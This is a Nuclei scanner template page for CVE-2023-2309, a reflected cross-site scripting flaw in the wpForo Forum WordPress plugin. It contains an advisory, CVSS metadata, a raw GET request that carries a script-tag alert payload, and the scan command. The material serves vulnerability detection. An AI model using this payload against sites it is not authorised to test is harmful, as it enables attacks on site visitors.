wpForo Forum <= 2.1.8 - Cross-Site Scripting

ID: CVE-2023-2309

Severity: medium

Author: s4e-io

Tags: cve,cve2023,wordpress,wpforo,wpscan,wp-plugin,wp,xss

Description

The wpForo Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘wpforo_debug’ function in versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

YAML Source

id: CVE-2023-2309

info:
  name: wpForo Forum <= 2.1.8 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    The wpForo Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘wpforo_debug’ function in versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
  remediation: Fixed in 2.1.9
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2309
    - https://wpscan.com/vulnerability/1b3f4558-ea41-4749-9aa2-d3971fc9ca0d/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforo/wpforo-forum-218-reflected-cross-site-scripting-via-wpforo-debug
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2309
    epss-score: 0.00052
    epss-percentile: 0.20793
    cpe: cpe:2.3:a:gvectors:wpforo_forum:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gvectors
    product: wpforo_forum
    framework: wordpress
    publicwww-query: "/wp-content/plugins/wpforo/"
  tags: cve,cve2023,wordpress,wpforo,wpscan,wp-plugin,wp,xss

http:
  - raw:
      - |
        GET /community/main-forum/?param=%3Cscript%3Ealert(/document.domain/)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"<script>alert(/document.domain/)</script>","wpforo")'
          - 'contains(header,"text/html")'
          - "status_code == 200"
        condition: and
# digest: 490a00463044022065819577cdee6f7acc5082d489cf1d5a35d26947e1e4116199225206d1aa7c99022002c7cc2298f191e62afafc678f7063e5c5258c2b8fbfe67343d28887b7539ced:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2309.yaml"

View on Github